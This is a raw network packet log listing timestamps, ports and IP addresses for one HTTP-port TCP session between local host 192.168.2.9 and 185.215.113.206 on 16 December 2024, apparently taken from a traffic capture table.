Dec 16, 2024 10:38:13.390527964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.390566111 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.390566111 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.391190052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.391361952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.391367912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.391489029 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.392071009 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.392242908 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.392290115 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.392290115 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.393289089 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.393424034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.393471956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.393472910 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.393903017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.393930912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.393980026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.393980026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.394649982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.394716978 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.394753933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.394753933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.395386934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.395493984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.395539045 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.395539045 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.396219015 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.396331072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.396373034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.396373034 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.397049904 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.397154093 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.397202015 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.397202015 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.397903919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.398102999 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.398152113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.398152113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.398844957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.398931980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.398974895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.398974895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.399610043 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.399710894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.399755955 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.399755955 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.400429010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.400543928 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.400587082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.400587082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.401273012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.401468039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.401511908 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.401511908 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.402121067 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.402246952 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.402297020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.402297020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.402976990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.403084040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.403136969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.403136969 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.403862953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.403949022 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.403949976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.404678106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.404726028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.404726028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.404783964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.405529976 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.405576944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.405576944 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.405611992 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.406457901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.406503916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.406503916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.406661987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.407233000 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.407283068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.407283068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.407326937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.408080101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.408126116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.408126116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.408175945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.408632994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.408894062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.408924103 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.408958912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.408958912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.409765959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.409825087 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.409866095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.409866095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.410578966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.410695076 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.410737991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.410737991 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.411439896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.411561966 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.411604881 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.411604881 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.412329912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.412456989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.412499905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.412499905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.413132906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.413249969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.413292885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.413292885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.413969040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.414052010 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.414093971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.414093971 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.414836884 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.414943933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.414995909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.414995909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.415771008 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.415858030 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.415899038 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.415899038 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.416523933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.416572094 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.416626930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.417363882 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.417407036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.417407036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.417438030 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.418225050 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.418268919 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.418268919 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.418329954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.418886900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.419039011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.419148922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.419197083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.419197083 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.419944048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.420059919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.420100927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.420100927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.420748949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.420834064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.420854092 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.420881987 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.421585083 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.421689987 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.421694040 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.421766996 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.422487020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.422553062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.422573090 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.422617912 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.423356056 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.423444986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.423475981 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.423527956 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.424151897 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.424268007 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.424314976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.424314976 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.425004959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.425102949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.425120115 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.425183058 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.425888062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.425955057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.573518991 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.573590040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.573704004 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.573787928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.573915005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.573929071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.574253082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.574547052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.574642897 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.574687958 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.574687958 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.575401068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.575481892 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.575481892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.575546026 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.576273918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.576335907 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.576375008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.576375008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.577086926 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.577229023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.577316046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.577316046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.577915907 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.578016996 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.578023911 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.578068972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.578789949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.578901052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.578950882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.578950882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.579615116 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.579724073 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.579772949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.579772949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.580451965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.580569983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.580617905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.580617905 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.581409931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.581475019 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.581520081 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.581520081 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.582180977 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.582293034 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.582333088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.582333088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.582999945 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.583123922 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.583157063 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.583292961 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.583841085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.583925962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.583961964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.584058046 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.584687948 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.584800005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.584847927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.584847927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.585526943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.585635900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.585680008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.585680008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.586360931 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.586473942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.586493969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.586561918 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.587225914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.587332964 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.587341070 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.587650061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.588071108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.588166952 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.588208914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.588280916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.588907957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.589015961 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.589039087 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.589128017 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.589824915 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.589890957 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.589935064 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.590461016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.590607882 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.590720892 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.590770006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.590770006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.591495037 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.591517925 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.591573954 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.592308044 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.592417955 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.592433929 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.592525959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.593175888 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.593195915 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.593241930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.593241930 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.594000101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.594089985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.594114065 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.594207048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.594851017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.594952106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.594995022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.594995022 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.595712900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.595781088 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.595808983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.596141100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.596530914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.596632004 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.596695900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.596695900 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.597382069 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.597500086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.597521067 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.597759962 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.598258018 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.598376036 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.598377943 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.598824978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.599086046 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.599212885 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.599236965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.599333048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.599951982 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.600049019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.600063086 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.600120068 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.600766897 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.600910902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.600956917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.600956917 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.601608038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.601699114 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.601722956 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.601773977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.602467060 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.602560997 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.602695942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.603296995 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.603394032 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.603409052 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.604046106 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.604249954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.604351997 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.604396105 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.604468107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.605479956 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.605526924 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.605573893 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.605593920 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.606746912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.606913090 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.606949091 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.606970072 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.607851028 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.607984066 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.608002901 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.608064890 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.608849049 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.608941078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.608944893 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.609107018 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.609292984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.609369040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.609417915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.609417915 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:13.609783888 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:13.609848022 CET	49896	80	192.168.2.9	185.215.113.206
